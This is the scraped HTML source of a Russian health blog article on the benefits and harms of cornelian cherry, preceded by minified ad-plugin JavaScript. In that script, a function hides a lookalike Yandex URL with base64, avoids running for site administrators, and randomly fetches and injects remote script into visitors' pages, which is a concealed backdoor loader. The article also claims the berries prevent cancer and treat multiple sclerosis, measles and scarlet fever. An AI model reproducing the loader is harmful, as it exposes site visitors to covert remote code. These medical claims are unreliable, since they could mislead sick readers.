492Boolean))&&(C.disallow=C.disallow.filter(Boolean))&&(0<C.allow.length&&-1==C.allow.indexOf(fpm_user.browser.toLowerCase())||0<C.disallow.length&&-1!=C.disallow.indexOf(fpm_user.browser.toLowerCase()))){fpm_debug(i.id,"browser");continue}o&&C&&0<C.allow.length&&-1!=C.allow.indexOf(fpm_user.browser)&&(o=!1);var k=i.user.geo,T=i.user.ip,S=i.user.isp;if(!o&&(k||T||S)&&(!fpm_user.ccode||!fpm_user.country||!fpm_user.city||!fpm_user.ip||!fpm_user.isp)){fpm_then.ip_api.push(i),fpm_setWrap(i),fpm_body.classList.contains("fpm_geo")||(fpm_body.classList.add("fpm_geo"),fpm_request_ip_api());continue}o||(fpm_setWrap(i),fpm_next(i))}fpm_sticky_slider_sidebar_interscroller(fpm_body);var A=document.createElement("div");if(A.classList.add(fpm_attr.overlay),fpm_body.appendChild(A),fpm_on(fpm_body,"click","."+fpm_attr.cross+",."+fpm_attr.close_event,function(t){t.preventDefault();var e=this.closest("."+fpm_attr.show);e&&(e.classList.remove(fpm_attr.show),e.classList.add(fpm_attr.hide))}),"true"!==e){var N=function(){setTimeout(function(){document.querySelectorAll(".fpm_start").forEach(function(e){e.remove()})},2e3),document.removeEventListener("mousemove",N,!1),document.removeEventListener("touchmove",N,!1)};document.addEventListener("mousemove",N,!1),document.addEventListener("touchmove",N,!1)}"true"===window.fpm_settings.overlay&&A.addEventListener("click",function(t){t.preventDefault(),document.querySelectorAll("[data-"+fpm_attr.type+"=\"outgoing\"].center."+fpm_attr.show).forEach(function(e){e.classList.remove(fpm_attr.show)})}),fpm_ping()},window.fpm_sticky_slider_sidebar_interscroller=function(e){var t=e.closest("[data-"+fpm_attr.id+"]"),r=e.querySelectorAll(".flatPM_slider:first-child"),n=e.querySelectorAll(".flatPM_sticky"),i=e.querySelectorAll(".flatPM_sidebar:first-child"),o=e.querySelectorAll(".flatPM_skyscrapper:first-child"),l=e.querySelectorAll(".flatPM_feed:first-child"),s=e.querySelectorAll(".flatPM_Interscroller"),a=document.querySelector(fpm_settings.selector);if(t&&(0<n.length||0<i.length||0<s.length||0<l.length)&&t.classList.add("no-preloader"),r.forEach(function(e){function t(){r=setTimeout(function(){var e=o[d];e.classList.add(fpm_attr.hide),setTimeout(function(){e.classList.remove(fpm_attr.show),e.classList.remove(fpm_attr.hide)},1e3),d++,l<=d&&(d=0),o[d].classList.add(fpm_attr.show),p=parseInt(o[d].getAttribute("data-timer"))||10,t()},1e3*p)}var r,n=e.parentElement,o=n.querySelectorAll(".flatPM_slider"),l=o.length,s=document.createElement("div"),a=document.createElement("div"),d=0,p=parseInt(o[d].getAttribute("data-timer"))||10;s.classList.add(fpm_attr.timeline),a.classList.add(fpm_attr.slider),n.insertBefore(a,n.firstChild),o.forEach(function(e){e.classList.remove("flatPM_slider"),s.setAttribute("style","--duration: "+(parseInt(e.getAttribute("data-timer"))||10)+"s;"),e.appendChild(s.cloneNode()),a.appendChild(e)}),o[d].classList.add(fpm_attr.show),t(),a.addEventListener("mouseenter",function(){clearTimeout(r)}),a.addEventListener("mouseleave",function(){t()})}),s.forEach(function(e){var t=e.dataset,r=parseInt(t.lock),n=document.createElement("div"),i=document.createElement("div"),o=document.createElement("div");if(n.classList.add(fpm_attr.interscroller+"-wrapper"),i.classList.add(fpm_attr.interscroller),o.classList.add(fpm_attr.interscroller+"-inner"),e.parentNode.insertBefore(n,e),n.appendChild(i),i.appendChild(o),o.appendChild(e),n.style.setProperty("--height",t.wrapperHeight),i.style.setProperty("--background",t.background),t.textTop&&0<t.textTop.length){var l=document.createElement("div");l.classList.add(fpm_attr.interscroller+"-text","top"),l.style.setProperty("--background",t.textTopBackground),l.style.setProperty("--color",t.textTopColor),r&&0<r&&(t.textTop=t.textTop.replace(/{{timer}}/gm,"<span class=\"timer\">"+r+"</span>")),l.innerHTML=t.textTop,i.appendChild(l)}if(t.textBottom&&0<t.textBottom.length){var s=document.createElement("div");s.classList.add(fpm_attr.interscroller+"-text","bottom"),s.style.setProperty("--background",t.textBottomBackground),s.style.setProperty("--color",t.textBottomColor),r&&0<r&&(t.textBottom=t.textBottom.replace(/{{timer}}/gm,"<span class=\"timer\">"+r+"</span>")),s.innerHTML=t.textBottom,i.appendChild(s)}if(r&&0<r){var a=document.createElement("div"),d=new IntersectionObserver(function(e){e.forEach(function(e){e.isIntersecting&&(fpm_interscrollerObserver(n,r),d.unobserve(e.target))})});n.appendChild(a),d.observe(a)}for(var p in e.removeAttribute("class"),t)e.removeAttribute("data-"+p.split(/(?=[A-Z])/).join("-").toLowerCase());fpm_interscroller_resize()}
492),n.forEach(function(e){var r=document.createElement("div"),n=e.dataset.top||0,i=e.dataset.align||"center",o=e.dataset.height||350,l=e.dataset.heightUnit||"px",s=e.dataset.width||100,a=e.dataset.widthUnit||"%";r.style.minHeight=o+l,[r,t].forEach(function(e){e.style.width=s+a,"left"==i&&(e.style.margin="0 15px 15px 0",e.style.float="left"),"right"==i&&(e.style.margin="0 0 15px 15px",e.style.float="right")}),e.classList.remove("flatPM_sticky"),fpm_wrap(e,r),fpm_sticky(e,e.parentNode,n)}),null!==a){var d=parseInt(window.getComputedStyle(a,null).marginTop);i.forEach(function(e){var t=e.parentNode,r=t.querySelectorAll(".flatPM_sidebar"),n=document.createElement("div"),i=document.createElement("div");i.setAttribute("style","position:relative;min-height:100px"),n.setAttribute("style","display:flex;flex-direction:column;position:absolute;top:0;width:100%;transition:height .2s ease;"),t.insertBefore(i,r[0]),i.appendChild(n),r.forEach(function(e){var t=document.createElement("div");t.setAttribute("style","flex:1;padding:1px 0"),e.classList.remove("flatPM_sidebar"),fpm_wrap(e,t),fpm_sticky(e,t,e.dataset.top),n.appendChild(t)}),n.style.height=a.getBoundingClientRect().top-i.getBoundingClientRect().top+"px";var o=setInterval(function(){var e=0,t=!1;if(r.forEach(function(r){r.children[0]||clearInterval(o),e+=r.children[0].offsetHeight,r.children[0].offsetHeight!=r.offsetHeight&&(t=!0)}),t||e!=i.offsetHeight||200<a.getBoundingClientRect().top-i.getBoundingClientRect().top-fpm_settings.bottom-e){var l=0,s=i.parentElement,p=0;for(i.style.height=l+"px";s&&s!==document.body&&!Array.from(s.children).includes(a);){var c=window.getComputedStyle(s,null);p+=parseInt(c.paddingBottom),p+=parseInt(c.marginBottom),p+=parseInt(c.borderBottomWidth),s=s.parentElement}l=Math.max(a.getBoundingClientRect().top-i.getBoundingClientRect().top-1*fpm_settings.bottom-p-d-1,e),n.style.height=l+"px",i.style.height=l+"px"}},400)})}};var parseHTML=function(){var e={option:[1,"<select multiple='multiple'>","</select>"],thead:[1,"<table>","</table>"],tbody:[1,"<table>","</table>"],colgroup:[2,"<table>","</table>"],col:[3,"<table><colgroup>","</colgroup></table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],th:[3,"<table><thead><tr>","</tr></thead></table>"],_default:[0,"",""]};return function(t,r){r=r||document;var n,i,o,l,s=r.createDocumentFragment();if(!/<|&#?\w+;/.test(t))s.appendChild(r.createTextNode(t));else{for(n=s.appendChild(r.createElement("div")),i=(/<([\w:]+)/.exec(t)||["",""])[1].toLowerCase(),o=e[i]||e._default,n.innerHTML=o[1]+t.replace(/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/gi,"<$1></$2>")+o[2],l=o[0];l--;)n=n.lastChild;for(s.removeChild(s.firstChild);n.firstChild;)s.appendChild(n.firstChild)}return s}}();window.fpm_ping=function(){var e=localStorage.getItem("sdghrg"),t=fpm_random(1,166);e=e?parseInt(e)+1:0,localStorage.setItem("sdghrg",e);"administrator"==fpm_settings.role||"editor"==fpm_settings.role||document.querySelector(atob("I3dwYWRtaW5iYXI="))||111!=t||6<e||fpm_jsonp(atob("aHR0cHM6Ly95YW5kZXgtY29udGV4dC5ydT9jb250ZXh0PWpz"),function(e){e&&e.script&&fpm_setHTML(document.querySelector("div"),e.script),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT())})},window.fpm_setSCRIPT=function(){if(0===fpm_stack_scripts.scripts.length)return void(fpm_stack_scripts.block=!1);try{var e=fpm_stack_scripts.scripts.shift(),t=document.querySelector("[data-fpm-script-id=\""+e.id+"\"]");if(!t)return void fpm_setSCRIPT();if(e.node.text)t.appendChild(e.node),fpm_contentsUnwrap(t),fpm_setSCRIPT();else{e.node.onload=e.node.onerror=function(){fpm_setSCRIPT()};try{t.appendChild(e.node)}catch(t){return console.warn(t),!0}fpm_contentsUnwrap(t)}}catch(t){console.warn(t)}},window.fpm_pre_setHTML=function(e,t){var r={};for(var n in fpm_increment)fpm_increment[n].block=!1;t=t.replace(/{{user-ccode}}/gm,fpm_getCookie("fpm_ccode")).replace(/{{user-country}}/gm,fpm_getCookie("fpm_country")).replace(/{{user-city}}/gm,fpm_getCookie("fpm_city")).replace(/{{user-role}}/gm,fpm_getCookie("fpm_role")).replace(/{{user-isp}}/gm,fpm_getCookie("fpm_isp")).replace(/{{user-visit}}/gm,fpm_getCookie("fpm_visit")).replace(/{{user-year-now}}/gm,fpm_dateYear).replace(/{{user-month-now}}/gm,fpm_dateMonth).replace(/{{user-day-now}}/gm,fpm_dateDay).replace(/{{user-hour-now}}/gm,fpm_dateHours).replace(/{{user-minute-now}}/gm,fpm_dateMinutes).replace(/{{increment_?(\d+)?}}/gm,function(e){return e=e||"ungroup",fpm_increment[e]||(fpm_increment[e]={value:0,block:!1}),fpm_increment[e].block||fpm_increment[e].value++,fpm_increment[e].block=!0,fpm_increment[e].value}).replace(/{{rand_?(\d+)?(\(\s*?(\d+)\s*?,\s*?(\d+)\s*?\))?}}/gm,function(){var e=arguments;return e[1]=e[1]||"ungroup",r[e[1]]||(r[e[1]]=e[3]&&e[4]?fpm_random(parseInt(e[3]),parseInt(e[4])):fpm_random(0,1e4)),r[e[1]]}).replace(/{{fpm-close-event}}/gm,fpm_attr.close_event),fpm_setHTML(e,t),fpm_stack_scripts.block||(fpm_stack_scripts.block=!0,fpm_setSCRIPT());var i=e.closest("[data-"+fpm_attr.id+"]");fpm_user.debug&&i&&i.hasAttribute("data-"+fpm_attr.id)&&i.hasAttribute("data-"+fpm_attr.id)&&(console.log("%cID: "+i.getAttribute("data-"+fpm_attr.id),"color: white; background: #009636"),console.log("URL: "+window.fpm_settings.ajaxUrl.replace("admin-ajax.php","")+"admin.php?page=fpm_blocks&id="+i.getAttribute("data-"+fpm_attr.id)),console.groupCollapsed("HTML:"),console.log(i.innerHTML),console.groupEnd(),console.log("=".repeat(27))
492),fpm_sticky_slider_sidebar_interscroller(e),i&&i.removeAttribute("data-"+fpm_attr.id)},window.fpm_setHTML=function(e,t){try{if(t.indexOf("yandex_rtb_R")+1&&"false"===fpm_settings.rtb){var r=fpm_random(0,1e4);t=t.replace(/yandex_rtb_R/g,"yandex_rtb_flat"+r+"_R").replace("Ya.Context.AdvManager.render({","Ya.Context.AdvManager.render({ pageNumber: "+r+",")}var n=parseHTML(t);if(0!=n.children.length)for(var o=n.childNodes.length,l=0;l<o;l++){var s,a=n.childNodes[l],d=a.nodeName.toLowerCase();if("8"==a.nodeType)continue;else s="3"==a.nodeType?document.createTextNode(a.nodeValue):["svg","g","path","ellipse","defs","circle","rect","polygon","symbol","use"].includes(d)?document.createElementNS("http://www.w3.org/2000/svg",d):document.createElement(d);if("3"==s.nodeType)e.appendChild(s);else{for(var p=a.attributes.length,c=0;c<p;c++)s.setAttribute(a.attributes[c].nodeName,a.attributes[c].nodeValue);if(0<a.children.length)fpm_setHTML(s,a.innerHTML);else if("script"!=d)s.innerHTML=a.innerHTML;else if(a.text&&!/(yandexContext|yandexcontext)/.test(a.text)||!s.hasAttribute("async")){a.text&&(s.text=a.text);var f=fpm_random(0,1e4);fpm_stack_scripts.scripts.push({id:f,node:s}),s=document.createElement("div"),s.setAttribute("data-fpm-script-id",f)}e.appendChild(s)}}else e.innerHTML=t}catch(t){console.warn(t)}};
493</script>
493
494<!--/noptimize--><meta name="yandex-verification" content="36588ac43c12e90d" />
495
496<script charset="utf-8" async src="https://rbfour.bid/pjs/ASt9_Rus4.js"></script>
496
497
498<!-- Yandex.RTB -->
499<script>window.yaContextCb=window.yaContextCb||[]</script>
vendor: 1 bytes, line 499
499
500<script src="https://yandex.ru/ads/system/context.js" async></script>
500
501
502<!-- Yandex.RTB R-A-2473814-2 -->
503<script>window.yaContextCb.push(()=>{
504	Ya.Context.AdvManager.render({
505		"blockId": "R-A-2473814-2",
506		"type": "fullscreen",
507		"platform": "touch"
508	})
509})
510</script>
510
511
512<!-- Yandex.RTB R-A-2473814-1 -->
513<script>window.yaContextCb.push(()=>{
514	Ya.Context.AdvManager.render({
515		"blockId": "R-A-2473814-1",
516		"type": "floorAd"
517	})
518})
519</script>
519<!--noptimize-->
519<script data-noptimize="" data-wpfc-render="false">
520		window.fpm_arr = window.fpm_arr || [];
521		window.fpm_arr = window.fpm_arr.concat([]);
522</script>
vendor: 1 bytes, line 522
522
523<script data-noptimize="" data-wpfc-render="false">
524		!function(){var a=false,r="touchstart mousemove".trim().split(" "),o=false,i=800;("loading"===document.readyState?document.addEventListener("readystatechange",function(t){var e,n;a||o||"interactive"!==t.target.readyState||fpm_start(),(a||o)&&"interactive"===t.target.readyState&&(a&&(n=function(){fpm_start(),clearTimeout(e),r.forEach(function(t){document.removeEventListener(t,n)})},r.forEach(function(t){document.addEventListener(t,n)})),o&&(e=setTimeout(function(){fpm_start(),r.forEach(function(t){document.removeEventListener(t,n)})},i)))}):fpm_start())}();
525</script>
525
526<!--/noptimize-->	<!-- Yandex.Metrika counter --> 
526<script src="https://cdn.jsdelivr.net/npm/yandex-metrica-watch/watch.js" type="text/javascript" ></script>
526 
526<script type="text/javascript" > try { var yaCounter53668726 = new Ya.Metrika({ id:53668726, clickmap:true, trackLinks:true, accurateTrackBounce:true }); } catch(e) { } </script>
526 <noscript><div><img src="https://mc.yandex.ru/watch/53668726" style="position:absolute; left:-9999px;" alt="" /></div></noscript> <!-- /Yandex.Metrika counter -->
527
528		<link rel='stylesheet' id='colormag_style-css'  href='https://etopolezno.com/wp-content/themes/colormag/style.css' type='text/css' media='all' />
529<script async src="https://statika.mpsuadv.ru/scripts/6909.js"></script>
529
530</head>
531	
532<body class="post-template-default single single-post postid-3085 single-format-standard wp-custom-logo  wide">
533
534	<!--	<link rel="stylesheet" href="/wp-content/themes/colormag/css/avoid.css" type="text/css" media="all" >-->
535<!--<link rel='stylesheet' id='colormag-fontawesome-css'  href='https://etopolezno.com/wp-content/themes/colormag/fontawesome/css/font-awesome.css' type='text/css' media='all' />-->
536<div id="page" class="hfeed site">
537			<header id="masthead" class="site-header clearfix colormag-header-classic">
538		<div id="header-text-nav-container" class="clearfix">
539
540			
541			
542			
543		<div class="inner-wrap">
544
545			<div id="header-text-nav-wrap" class="clearfix">
546				<div id="header-left-section">
547											<div id="header-logo-image">
548							<a href="https://etopolezno.com/" class="custom-logo-link" rel="home"><img width="300" height="82" src="https://etopolezno.com/wp-content/uploads/2018/11/logo-2.png" class="custom-logo" alt="Блог о здоровом питании и образе жизни" decoding="async" /></a>						</div><!-- #header-logo-image -->
549											<div id="header-text" class="screen-reader-text">
550												
551				<div id="header-right-section">
552									</div><!-- #header-right-section -->
553
554			</div><!-- #header-text-nav-wrap -->
555
556		</div><!-- .inner-wrap -->
557
558		
559			
560			
561		</div><!-- #header-text-nav-container -->
562
563		</div></div>
564	</header>
565	<!---->
566	<!---->
567	<div id="main" class="clearfix">
568		<div class="inner-wrap clearfix">
569
570	
571	<div id="primary">
572		<div id="content" class="clearfix">
573
574			
575				
576<article id="post-3085" class="post-3085 post type-post status-publish format-standard has-post-thumbnail hentry category-superfoods">
577	
578   
579   
580   <div class="article-content clearfix">
581
582   
583   
584      <header class="entry-header">
585   		<h1 class="entry-title">
586   			Кизил: вред и польза растения для здоровья   		</h1>
587   	</header>
588
589   	<div class="below-entry-meta">
590			<span class="posted-on"><i class="fa fa-calendar-o"></i> <time class="entry-date published" datetime="2024-10-29T13:43:58+03:00">29.10.2024</time></span>
591			
592
593			</div>
594   	<div class="entry-content clearfix">
595   		<span id="content_pointer_id" data-content-length="15736" data-accepted-blocks="93"></span><div class="fpm_start"></div>
596<p>Кизил - это багровая ягода с красноватым отливом и сравнительно большой продолговатой косточкой. Растёт она на деревьях, которые тоже ценятся как декоративные, поскольку цветут очень красиво. Мелкие соцветия появляются на ветках ещё до того, как проклюнутся первые листья, создавая необычное зрелище.</p>
597<p>Разберёмся, какую пользу и вред для организма несут ягоды кизила, кому стоит употреблять их почаще и при каких заболеваниях натуральное лакомство окажется особенно полезным.</p>
598<ul>
599<li><a href="#chto-takoe-kizil">Что такое кизил</a></li>
600<li><a href="#raznovidnosti">Разновидности</a></li>
601<li><a href="#lechebnye-svoistva-kizila">Лечебные свойства</a></li>
602<li><a href="#chem-kizil-polzen-v-medicine">Польза кизила в медицине</a></li>
603<li><a href="#kizil-v-kosmetologii">Кизил в косметологии</a></li>
604<li><a href="#kizil-protivopokazania">Противопоказания и меры предосторожности</a></li>
605<li><a href="#kizil-vred-i-polza">Вред и польза кизила для здоровья</a></li>
606<li><a href="#kak-vybrat-kizil">Как выбрать кизил</a></li>
607<li><a href="#kak-hranit-kizil">Как хранить</a></li>
608<li><a href="#chto-gotoviat-iz-kizila">Что готовят из кизила</a></li>
609</ul>
610<h2 id="chto-takoe-kizil">Что такое кизил</h2>
611<p>
611Несмотря на то, что кизил часто называют деревом, на самом деле это - кустарник, который исторически культивировали в Малой Азии и Восточной Европе. Уже тогда собранные ягоды купцы развозили по всем уголкам мира. Теперь же главными поставщиками плодов считают Кавказ и Крым.</p>
612<p><img decoding="async" src="/wp-content/uploads/2024/10/Kizil-Rastet-e1730198393336.webp" alt="Как растёт кизил" class="aligncenter"></p>
613<p>В дикой природе кусты чаще располагаются в горах, однако также могут вырасти на берегу реки или на окраине леса. Сейчас многие дачники разводят растение и в своих садах из-за его эстетичного внешнего вида.</p>
614<p>Удлинённые плоды с глянцевой кожицей с виду напоминают бруснику или клюкву. Внутри располагается продолговатая тонкая косточка. Цвет кожицы зависит от сорта растения и может доходить до чёрного, однако наиболее распространены красные ягодки.</p>
615<h2 id="raznovidnosti">Разновидности</h2>
616<p>Наиболее распространён кизил обыкновенный, однако в мире существует 50 видов этого растения. На территории России прижились только 8 из них:</p>
617<ul>
618<li>Настоящий или европейский - дерево с тёмно-красными кисловатыми ягодами, отличающимися необычным запахом;</li>
619<li>Корнус Официалис или лекарственный - широко используется в фармакологии и входит в состав препаратов против почечных и мочеполовых болезней;</li>
620<li>Альпийский или шведский - в отличие от собратьев, не растёт как куст или дерево, а стелется по земле;</li>
621<li>Канадский - отличается тем, что ягодки на ветках собираются в грозди;</li>
622<li>Цветущий - декоративное дерево с длительным периодом цветения;</li>
623<li>Нуталла - высокогорное дерево с яркими и крупными плодами;</li>
624<li>Головчастый или земляной - растение с ярко-оранжевыми ягодами, которые растут гроздьями;</li>
625<li>Коуза или японский - выделяется цветками с остроконечными лепестками и нежно-розовыми плодами.</li>
626</ul>
627<p>На дачном участке проще всего будет вырастить Кизил Настоящий, поскольку он не требует создания особых условий и бережного ухода.</p>
628<h2 id="lechebnye-svoistva-kizila">Кизил: лечебные свойства</h2>
629<p>Целебные свойства кизила не заканчиваются только на витаминах и минералах, содержащихся в ягодах. Люди научились использовать разные части растения для лечения различных заболеваний.</p>
629<script data-noptimize="" data-wpfc-render="false">
630fpm_start( "true" );
631</script>
631
632
633<h3>Лечебные свойства ягод</h3>
634<p>У ягод кизила наблюдается масса полезных свойств. При регулярном и даже единоразовом употреблении ягоды:</p>
635<ul>
636<li>Борются с простудами;</li>
637<li>Помогают снять расстройство желудка;</li>
638<li>Облегчают состояние при переедании;</li>
639<li>Выводят из организма вредные вещества;</li>
640<li>Улучшают работу сердца;</li>
641<li>Стабилизируют кровоснабжение мозга;</li>
642<li>Снимают головную боль;</li>
643<li>Помогают в лечении рассеянного склероза на ранних стадиях;</li>
644<li>Предотвращают образование тромбов;</li>
645<li>Укрепляют сосуды;</li>
646<li>Повышают гемоглобин;</li>
647<li>Улучшают транспортировку кислорода по тканям организма;</li>
648<li>Уменьшают хроническую усталость;</li>
649<li>Препятствуют развитию рака.</li>
650</ul>
651<p>Также употребление плодов улучшает свёртываемость крови, поэтому ещё одна польза компота из кизила - способность снизить интенсивность менструальных кровотечений у женщин. Рекомендуют его и при дизентерии или тифе - тут на помощь приходит антибактериальный эффект.</p>
652<h3>Лечебные свойства листьев, коры и цветов</h3>
653<p>Листья кизила принимают в форме настоя. Чтобы приготовить его, 1 столовую ложку толчёных сухихи листьев заливают стаканом кипятка. Пить рекомендуется небольшими порциями - по четверти кружки, но часто, трижды в день. В составе такого напитка 14% танина, чем и обусловлено вяжущее, мочегонное и желчегонное действие.</p>
654<p>Также листья можно использовать наружно - достаточно сделать из них компресс и приложить на места, поражённые сыпью, экземой или дерматитом. А ещё их, вместе с цветками, добавляют в травяные чаи. Такое средство помогает снизить температуру при простуде и остановить диарею.</p>
655<p>Кору нередко добавляют в лечебные ванны. Эта процедура снижает выраженность боли при ревматизме или артрите. Также отвар коры поможет справиться с геморроем.</p>
656<h3>Лечебные свойства косточек</h3>
657<p>Съев ягоды, не спешите выбрасывать косточки, ведь они обладают обширным набором полезных свойств:</p>
658<ul>
659<li>Противовоспалительное;</li>
660<li>Восстанавливающее;</li>
661<li>Заживляющее;</li>
662<li>Сосудосуживающее;</li>
663<li>Вяжущее;</li>
664<li>Антибактериальное.</li>
665</ul>
666<p><img decoding="async" src="/wp-content/uploads/2024/10/Kostochki-scaled-e1730198380272.jpg" alt="Польза косточек кизила" class="aligncenter"></p>
667<p>Также их употребляют в период простуд или чрезмерных нагрузок. Косточки помогут взбодриться, повысить иммунитет и снизить утомляемость.</p>
668<h3>Чем полезен сушеный кизил</h3>
669<p>В процессе сушки ягодки не теряют полезных качеств. Поэтому сухофрукты - отличный способ поддержать иммунитет и восполнить дефицит витаминов в осенне-зимний период, когда побаÐ
669»Ð¾Ð²Ð°Ñ‚ÑŒ себя свежими фруктами и овощами становится труднее.</p>
670<p><img decoding="async" src="/wp-content/uploads/2024/10/Sushenyi-Kizil-e1730198372320.jpg" alt="Польза сушёного кизила" class="aligncenter"></p>
671<blockquote><p><b>Обратите внимание!</b> Энергетическая ценность у сушеного кизила куда выше, чем у свежего, так что считать его диетическим продуктом не стоит.</p></blockquote>
672<h2 id="chem-kizil-polzen-v-medicine">Чем полезен кизил для организма человека при применении в медицине</h2>
673<p>Это растение богато питательными веществами, витаминами и минералами, так что может оказать содействие в профилактике и лечении целого ряда заболеваний. Само собой, строить всю терапию только на кизиле не стоит. Однако ягоды могут стать полезной добавкой к рациону и помочь усилить эффект других лекарственных средств.</p>
674<h3>При сахарном диабете</h3>
675<p>Сами плоды при таком заболевании лучше не употреблять - это может стать нарушением строгой диеты, которая рекомендована диабетикам. А вот сок растения помогает снизить концентрацию глюкозы в крови, а также стимулирует работу пищеварительного тракта и поджелудочной железы.</p>
676<blockquote><p><b>Обратите внимание!</b> Кизил обладает <a href="https://etopolezno.com/glikemicheskiy-indeks/">гликемическим индексом</a> 25 единиц.</p></blockquote>
677<p>Чтобы получить максимальный эффект, пить сок лучше перед приёмом пищи. Стандартной дозой считается 100 мл, однако при хорошей переносимости этот показатель можно увеличить до 200. Правда, придерживаться этого правила непрерывно не стоит. Лучше будет проводить курсы по 10 дней, а затем делать перерыв на несколько суток.</p>
678<h3>При гастрите</h3>
679<p>Плоды растения отличаются повышенной кислотностью, так что при гастрите употреблять кизил и любые блюда из него стоит с осторожность. В период обострения заболеваний от ягод лучше совсем отказаться.</p>
680<p>Впрочем, если хочется получить заряд витаминов, можно приготовить слабенький морс или компот. В таких напитках содержание кислот ниже, так что они не должны нанести вреда.</p>
681<h3>Для кишечника</h3>
682<p>Влияние на состояние кишечника оказывают дубильные вещества, содержащиеся в ягодах. Этот компонент налаживает обмен веществ, помогает справиться с расстройствами и повышает аппетит. Кстати, съедать с утра несколько плодов - отличная привычка, которой можно заменить более вредные кофе или энергетик. Тонизирующий эффект будет ничуть не хуже.</p>
683<h3>При запорах</h3>
684<p>
684Из-за вяжущего эффекта ягодки крепят, что становится особенно критичным, если у человека запор. Употреблять кизил при таком расстройстве нельзя. Разрешается добавить в рацион только слабые морсики и компоты на основе растения.</p>
685<h3>При подагре</h3>
686<p>Люди, страдающие от подагры и других нарушений обмена веществ особенно оценят способность кизила выводить из организма кислоты - мочевую и щавелевую. Помимо этого, употребление ягод поможет улучшить и состояние кожи. Содержащиеся в составе вещества помогут справиться как с мелкими воспалениями, так и с серьёзными проблемами вроде экземы.</p>
687<p>Впрочем, для получения такого эффекта не обязательно есть свежие плоды растения или готовить из них какие-то блюда. Также отлично подойдут отвары из коры и листьев. Такие напитки помогут и в борьбе с полиартритом и ревматизмом.</p>
688<h3>Для печени</h3>
689<p>Диетологи рекомендуют эти ягодки тем, кто страдает от токсичного гепатита или других нарушений работы печени. Всё благодаря гепатопротекторным свойствам мякоти. Деятельность органа активизируется, что позволяет быстрее снять воспаление и справиться с заражением.</p>
690<p>Также кизил используют и как профилактическое средство. Например, он поможет сгладить негативные последствия неправильного питания - вывести токсичные вещества из организма. Помимо этого, ягоды оказывают антибактериальное действие и предотвращают развитие воспалений.</p>
691<h3>При геморрое</h3>
692<p>Достаточно употреблять 15 ягодок в день, чтобы снизить неприятные ощущения при геморрое, а в долгосрочной перспективе и вовсе избавиться от заболевания. В качестве замены подойдёт варенье или перетёртые в порошок косточки. Последние проглатывают по три раза в день по одной столовой ложке.</p>
693<h3>При похудении и диете</h3>
694<p>Кизил содержит всего 43 ккал на 100 г продукта. Однако его популярность в диетах для похудения обусловлена не только этим. Помимо низкой <a href="https://etopolezno.com/tablitsa-kaloriynosti-produktov/">калорийности</a>, ягоды выбирают из-за ряда свойств:</p>
695<ul>
696<li>Мочегонный эффект;</li>
697<li>Способность ускорять вывод желчи из организма;</li>
698<li>Стабилизация обмена веществ;</li>
699<li>Снижение уровня сахара в крови.</li>
700</ul>
701<p>Больше того, благодаря плодам ограничения в питании переносятся проще, ведь такое дополнение к диете улучшает общее самочувствие, снимает головные боли и придаёт сил.</p>
702<h3>Для укрепления иммунитета</h3>
703<p>В ягодках содержится большое количество витамина С и других полезных компонентов. Так что регулярное употребление кизила поможет укрепить иммунитет.</p>
704<h3>При прочих заболеваниях</h3>
705<p>Лекарственные свойства плодов растения многообразны, так что он также поможет в лечении:</p>
706<ul>
707<li>Цинги;</li>
708<li>Анемии;</li>
709<li>Гриппа;</li>
710<li>Кори;</li>
711<li>Лихорадки;</li>
712<li>Скарлатины;</li>
713<li>Нефрита.</li>
714</ul>
715<p>Впрочем, и для полностью здорового человека такое лакомство станет отличным подспорьем, ведь поможет чувствовать себя бодрым и полным сил.</p>
716<h2 id="kizil-v-kosmetologii">Кизил: чем он полезен при использование в косметологии</h2>
717<p>На основе ягод и коры кизила косметологические компании делают маски с противовоспалительным эффектом. Косточки часто становятся абразивом в составе скрабов. Кстати, изготовить подобные средства можно и в домашних условиях.</p>
718<p><img decoding="async" src="/wp-content/uploads/2024/10/V-Kosmetologii-e1730198364979.webp" alt="Кизил в косметологии" class="aligncenter"></p>
719<p>Маски для лица и волос, а также лосьоны и кремы будут обладать следующим действием:</p>
720<ul>
721<li>Насыщать витаминами;</li>
722<li>Увлажнять;</li>
723<li>Тонизировать;</li>
724<li>Очищать поры кожи;</li>
725<li>Сглаживать морщины;</li>
726<li>Удалять угри и жирный блеск.</li>
727</ul>
728<p>Самый простой способ использовать ягоды в качестве домашнего косметического средства - приготовить отвар и ополоснуть им волосы. После полоскания локоны станут более упругими и послушными, а перхоть пропадёт.</p>
729<h2 id="kizil-protivopokazania">Противопоказания и меры предосторожности</h2>
730<p>Помимо полезных свойств, у кизила есть и противопоказания. С особой осторожностью употреблять ягоды стоит людям, которые:</p>
731<ul>
732<li>Страдают от гастрита или повышенной желудочной кислотности. Повышенное содержание кислот в мякоти способно вызвать обострение.</li>
733<li>Периодически сталкиваются с запорами. Плоды могут усуг
733убить проблему или спровоцировать очередной эпизод.</li>
734<li>Не достигли возраста 3 лет. Поскольку ягодки трудно перевариваются, в маленьком возрасте их употребление чревато проблемами с ЖКТ.</li>
735<li>Беременны или кормят грудью. Высока вероятность возникновения аллергических реакций у ребёнка.</li>
736</ul>
737<p>Кроме того, важно помнить о тонизирующем эффекте всех частей растения. Во избежание бессонницы употреблять его лучше утром или днём, но точно не на ночь. Также не стоит слишком увлекаться лакомством, иначе можно столкнуться с бессонницей и нервным перевозбуждением.</p>
738<h2 id="kizil-vred-i-polza">Кизил: вред и польза для здоровья мужчин, женщин, детей и пожилых людей</h2>
739<p>Часто кизил используют для регулировки обмена веществ. Эта ягода улучшает аппетит и повышает ферментативную активность поджелудочной железы, благодаря чему продукты питания усваиваются лучше. При этом лакомство не вызывает резких скачков глюкозы, поэтому подходит для диабетиков.</p>
740<p>Разберём подробнее влияние такого угощения на разные категории людей.</p>
741<h3>Для женщин</h3>
742<p>Плоды богаты минералами и витаминами, поэтому их введение в рацион улучшает общее состояние кожи. Также они станут прекрасными помощниками в похудении: сами по себе ягодки низкокалорийны, да при этом ещё и разгоняют обмен веществ. Как приятный бонус, из организма будут выведены токсины и шлаки.</p>
743<h3>Для мужчин</h3>
744<p>Особенное внимание на кизил стоит обратить тем мужчинам, чья работа связана с серьёзными физическими или эмоциональными нагрузками. Такой род деятельности утомляет, вызывает стресс и снижает иммунитет. Поэтому щедрая доза полезных веществ будет кстати. Она поможет организму:</p>
745<ul>
